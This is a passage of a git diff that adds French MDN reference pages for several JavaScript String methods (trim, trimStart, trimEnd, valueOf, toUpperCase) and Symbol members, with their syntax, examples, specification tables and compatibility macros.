+<h3 id="Utiliser_toUpperCase()">Utiliser <code>toUpperCase()</code></h3>
+
+<pre class="brush: js">console.log( "alphabet".toUpperCase() ); // "ALPHABET"</pre>
+
+<h3 class="brush: js" id="Convertir_une_valeur_this_en_chaîne_de_caractères">Convertir une valeur <code>this</code> en chaîne de caractères</h3>
+
+<p class="brush: js">Cette peut être utilisée pour convertir une valeur qui n'est pas une chaîne de caractères lorsque celle-ci est fournie comme valeur <code>this</code> : ​​​​</p>
+
+<pre class="brush: js">var obj = {
+  toString: function toString(){
+    return 'abcdef';
+  }
+};
+var a = String.prototype.toUpperCase.call(obj);
+var b = String.prototype.toUpperCase.call(true);
+
+console.log(a); // Affiche 'ABCDEF' dans la console
+console.log(b); // Affiche 'TRUE' dans la console
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.18', 'String.prototype.toUpperCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.toUpperCase")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/trim/index.html b/files/fr/web/javascript/reference/objets_globaux/string/trim/index.html
new file mode 100644
index 0000000000..963280c9e7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/trim/index.html
@@ -0,0 +1,96 @@
+---
+title: String.prototype.trim()
+slug: Web/JavaScript/Reference/Objets_globaux/String/trim
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/String/Trim
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>trim()</code></strong> permet de retirer les blancs en début et fin de chaîne. Les blancs considérés sont les caractères d'espacement (espace, tabulation, espace insécable, etc.) ainsi que les caractères de fin de ligne (LF, CR, etc.).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-trim.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.trim()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères dérivant de la chaîne appelante pour laquelle les blancs ont été retirés aux deux extrémités de la chaîne.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>trim()</code> renvoie la chaîne sans blanc au début et à la fin. La méthode <code>trim()</code> n'affecte pas la valeur de la chaîne courante.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit affiche la chaîne <code>'toto'</code> :</p>
+
+<pre class="brush: js">var chaîneOriginale = '   toto  ';
+console.log(chaîneOriginale.trim()); // 'toto'
+
+// Un autre exemple de .trim() qui enlève les espaces juste d'un côté
+
+var chaîneOriginale = 'toto    ';
+console.log(chaîneOriginale.trim()); // 'toto'
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Si l'environnement utilisé ne possède pas cette méthode, il est possible de l'émuler avec le fragment de code suivant :</p>
+
+<pre class="brush: js">if (!String.prototype.trim) {
+  String.prototype.trim = function () {
+    return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
+  };
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.20', 'String.prototype.trim')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.8.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.trim', 'String.prototype.trim')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.trim', 'String.prototype.trim')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.trim")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.trimStart()")}}</li>
+ <li>{{jsxref("String.prototype.trimEnd()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/trimend/index.html b/files/fr/web/javascript/reference/objets_globaux/string/trimend/index.html
new file mode 100644
index 0000000000..e85452758d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/trimend/index.html
@@ -0,0 +1,82 @@
+---
+title: String.prototype.trimEnd()
+slug: Web/JavaScript/Reference/Objets_globaux/String/trimEnd
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>trimEnd()</strong></code> permet de retirer les blancs situés à la fin d'une chaîne de caractères. <code>trimRight()</code> est un synonyme pour cette méthode.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-trimend.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.trimEnd();
+str.trimRight();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères basée sur la chaîne appelante et dont les blancs en fin de chaîne ont été supprimés.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>trimEnd()</code> renvoie la chaîne de caractères sans les blancs présents à partir de la droite de la chaîne. <code>trimEnd()</code> ne modifie pas la chaîne elle-même.</p>
+
+<h3 id="Synonyme">Synonyme</h3>
+
+<p>Pour des raisons de cohérence avec les méthodes existantes comme {{jsxref("String.prototype.padEnd")}}, le nom standard de cette méthode est <code>trimEnd</code>. Toutefois, à des fins de compatibilité web, <code>trimRight</code> est un synonyme de <code>trimEnd</code>. Pour certains moteurs JavaScript, on pourra donc avoir :</p>
+
+<pre class="brush: js">String.prototype.trimRight.name === "trimEnd";</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit illustre comment afficher la chaîne "   toto":</p>
+
+<pre class="brush:js;highlight:[5]">var str = "   toto  ";
+
+console.log(str.length); // 9
+
+str = str.trimEnd();
+console.log(str.length); // 7
+console.log(str);        // "   toto"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Proposition pour <code><a href="https://github.com/tc39/proposal-string-left-right-trim/#stringprototypetrimstart--stringprototypetrimend">String.prototype.{trimStart,trimEnd}</a></code></td>
+   <td>Brouillon de niveau 4</td>
+   <td>Attendu pour ES2019</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.trimEnd")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.trim()")}}</li>
+ <li>{{jsxref("String.prototype.trimStart()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/trimstart/index.html b/files/fr/web/javascript/reference/objets_globaux/string/trimstart/index.html
new file mode 100644
index 0000000000..320efbdfd6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/trimstart/index.html
@@ -0,0 +1,82 @@
+---
+title: String.prototype.trimStart()
+slug: Web/JavaScript/Reference/Objets_globaux/String/trimStart
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/trimStart
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>trimStart()</strong></code> permet de retirer les blancs au début de la chaîne de caractères. <code>trimLeft()</code> est un synonyme pour cette méthode.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-trimstart.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.trimStart();
+<var>str</var>.trimLeft();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères dérivant de la chaîne appelante pour laquelle les blancs en début de chaîne ont été retirés.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>trimStart()</code> renvoie la chaîne de caractères dont les blancs à gauche ont été retirés. <code>trimStart</code> ne modifie pas la chaîne elle-même.</p>
+
+<h3 id="Synonyme">Synonyme</h3>
+
+<p>Pour des raisons de cohérences avec les méthodes préexistantes (telles que {{jsxref("String.prototype.padStart")}}), le nom standard de cette méthode est <code>trimStart</code>. Toutefois, à des fins de compatibilité web, le nom <code>trimLeft</code> sera gardé comme un synonyme. Pour certains moteurs JavaScript, on pourra donc avoir :</p>
+
+<pre class="brush: js">String.prototype.trimLeft.name === "trimStart";</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple qui suit illustre comment afficher la chaîne de caractères <code>"toto  "</code> en minuscules :</p>
+
+<pre class="brush:js;highlight:[5]">var str = "   toto  ";
+
+console.log(str.length); // 8
+
+str = str.trimStart();
+console.log(str.length); // 5
+console.log(str);        // "toto  "
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Proposition pour <code><a href="https://github.com/tc39/proposal-string-left-right-trim/#stringprototypetrimstart--stringprototypetrimend">String.prototype.{trimStart,trimEnd}</a></code></td>
+   <td>Brouillon de niveau 4</td>
+   <td>Attendu pour ES2019</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.trimStart")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.trim()")}}</li>
+ <li>{{jsxref("String.prototype.trimEnd()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/string/valueof/index.html
new file mode 100644
index 0000000000..58c9fb66bf
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/valueof/index.html
@@ -0,0 +1,83 @@
+---
+title: String.prototype.valueOf()
+slug: Web/JavaScript/Reference/Objets_globaux/String/valueOf
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>valueOf()</strong></code> renvoie la valeur primitive de l'objet {{jsxref("String")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-valueof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.valueOf()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente la valeur primitive d'un objet {{jsxref("String")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>valueOf()</code> de <code>String</code> renvoie la valeur primitive de l'objet <code>String</code> sous la forme d'une chaine de caractères. Cette valeur est équivalente à {{jsxref("String.prototype.toString()")}}.</p>
+
+<p>Cette méthode est généralement appelée en interne par JavaScript et non explicitement dans du code.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var x = new String("Coucou monde");
+console.log(x.valueOf()); // affiche "Coucou monde"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.3', 'String.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.valueOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toString()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/@@toprimitive/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/@@toprimitive/index.html
new file mode 100644
index 0000000000..0866e25fa6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/@@toprimitive/index.html
@@ -0,0 +1,64 @@
+---
+title: 'Symbol.prototype[@@toPrimitive]'
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/@@toPrimitive
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/@@toPrimitive
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>[@@toPrimitive]()</strong></code> permet de convertir un objet symbole en une valeur primitive.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>Symbol()[Symbol.toPrimitive](hint);
+</var></pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur primitive de l'objet {{jsxref("Symbol")}} indiqué.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>[@@toPrimitive]()</code> de {{jsxref("Symbol")}} renvoie la valeur primitive d'un objet <code>Symbol</code> (le résultat sera  donc un symbole au sens primitif). L'argument <code>hint</code> n'est pas utilisé.</p>
+
+<p>Le moteur JavaScript appelle la méthode <code>[@@toPrimitive]()</code> afin de convertir un objet en une valeur primitive. Généralement, il n'est pas nécessaire d'appeler <code>[@@toPrimitive]()</code> car le moteur JavaScript l'appelle automatiquement lorsqu'il détecte un objet là où une valeur primitive est attendue.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.@@toPrimitive")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.toPrimitive")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/asynciterator/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/asynciterator/index.html
new file mode 100644
index 0000000000..0d28cc276d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/asynciterator/index.html
@@ -0,0 +1,82 @@
+---
+title: Symbol.asyncIterator
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/asyncIterator
+tags:
+  - ECMAScript 2018
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbole
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/asyncIterator
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole connu <code><strong>Symbol.asyncIterator</strong></code> définit l'itérateur asynchrone par défaut d'un objet. Si cette propriété est définie sur un objet, celui-ci est un itérable asynchrone et peut être utilisé avec une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for-await...of">for await...of</a></code>.</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Le symbole <code>Symbol.asyncIterator</code> est un symbole natif utilisé pour accéder à la méthode <code>@@asyncIterator</code> d'un objet. Pour qu'un objet soit un itérable asynchrone, il doit avoir une clé <code>Symbol.asyncIterator</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Itérable_asynchrone_personnalisé">Itérable asynchrone personnalisé</h3>
+
+<p>Il est possible de définir son propre itérable en définissant la propriété <code>[Symbol.asyncIterator]</code> d'un objet :</p>
+
+<pre class="brush: js">const myAsyncIterable = new Object();
+myAsyncIterable[Symbol.asyncIterator] = async function*() {
+    yield "coucou";
+    yield "l'itération";
+    yield "asynchrone !";
+};
+
+(async () =&gt; {
+    for await (const x of myAsyncIterable) {
+        console.log(x);
+        // expected output:
+        //    "coucou"
+        //    "l'itération"
+        //    "asynchrone !"
+    }
+})();
+</pre>
+
+<h3 id="Itérables_asynchrones_natifs">Itérables asynchrones natifs</h3>
+
+<p>Il n'existe actuellement pas d'objets JavaScript natifs qui possèdent la clé <code>[Symbol.asyncIterator]</code> par défaut. Toutefois, les flux (<em>Streams</em>) WHATWG pourraient devenir les premiers objets natifs itérables asynchrones.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2018', '#sec-symbol.asynciterator', 'Symbol.asyncIterator')}}</td>
+   <td>{{Spec2('ES2018')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{compat("javascript.builtins.Symbol.asyncIterator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">Les protocoles d'itération</a></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for-await...of">for await... of</a></code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/description/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/description/index.html
new file mode 100644
index 0000000000..c3a7d2d392
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/description/index.html
@@ -0,0 +1,74 @@
+---
+title: Symbol.prototype.description
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/description
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/description
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété en lecture seule <code><strong>description</strong></code> est une chaîne de caractères qui renvoie la description optionnelle de l'objet {{jsxref("Symbol")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-prototype-description.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Symbol('maDescription').description;
+Symbol.iterator.description;
+Symbol.for('toto').description;
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets {{jsxref("Symbol")}} peuvent être créés avec une description facultative qui peut être utilisée pour du débogage mais sans accéder au symbole. La propriété <code>Symbol.prototype.description</code> peut être utilisée afin de lire cette description. Cette propriété est différente de <code>Symbol.prototype.toString()</code> car elle ne contient pas la chaîne de caractères "<code>Symbol()</code>" autour de la description (voir les exemples qui suivent).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Symbol('desc').toString();   // "Symbol(desc)"
+Symbol('desc').description;  // "desc"
+Symbol('').description;      // ""
+Symbol().description;        // undefined
+
+// symboles connus
+Symbol.iterator.toString();  // "Symbol(Symbol.iterator)"
+Symbol.iterator.description; // "Symbol.iterator"
+
+// symboles globaux
+Symbol.for('toto').toString();  // "Symbol(toto)"
+Symbol.for('toto').description; // "toto"
+
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-Symbol-description/#sec-symbol.prototype.description">Proposition pour <code>Symbol.prototype.description</code></a></td>
+   <td>Proposition de niveau 4</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.description")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.prototype.toString()")}}</li>
+ <li>Prothèse d'émulation / <em>Polyfill</em> : <a href="https://npmjs.com/symbol.prototype.description">https://npmjs.com/symbol.prototype.description</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/for/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/for/index.html
new file mode 100644
index 0000000000..bb60102797
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/for/index.html
@@ -0,0 +1,113 @@
+---
+title: Symbol.for()
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/for
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Symbol.for(clé)</strong></code> permet de chercher parmi les symboles existants enregistrés dans le registre global de l'environnement d'exécution. Si un symbole associé à la clé donnée existe, il est renvoyé par la fonction, sinon un nouveau symbole associé à cette clé est créé dans le registre.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-for.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>Symbol.for(clé)</var>;</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>clé</dt>
+ <dd>Une chaîne de caractères, obligatoire. La clé correspondant au symbole (également utilisée pour la description du symbole).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un symbole existant s'il en a été trouvé un avec la clé fournie. Sinon, un nouveau symbole est créé puis renvoyé par la méthode.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>À la différence de <code>Symbol()</code>, la méthode <code>Symbol.for()</code> crée un symbole enregistré dans le registre global. <code>Symbol.for()</code> ne crée pas nécessairement un nouveau symbole pour chaque appel, elle vérifie d'abord si un symbole avec la <code>clé</code> donnée est d'ores et déjà présent dans le registre. Si c'est le cas, le symbole correspondant est renvoyé, sinon <code>Symbol.for()</code> crée un nouveau symbol global.</p>
+
+<h3 id="Registre_global_pour_les_symboles">Registre global pour les symboles</h3>
+
+<p>Le registre global des symboles est une liste, initialement vide, dont les éléments ont la structure suivante :</p>
+
+<table class="standard-table">
+ <caption>Structure d'un enregistrement dans le registre global des symboles</caption>
+ <tbody>
+  <tr>
+   <th>Nom du champ</th>
+   <th>Valeur</th>
+  </tr>
+  <tr>
+   <td>[[key]]</td>
+   <td>Une chaîne de caractères représentant la clé pour identifier un symbole en particulier.</td>
+  </tr>
+  <tr>
+   <td>[[symbol]]</td>
+   <td>Un symbole enregistré de façon globale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Symbol.for("toto"); // crée un nouveau symbole global
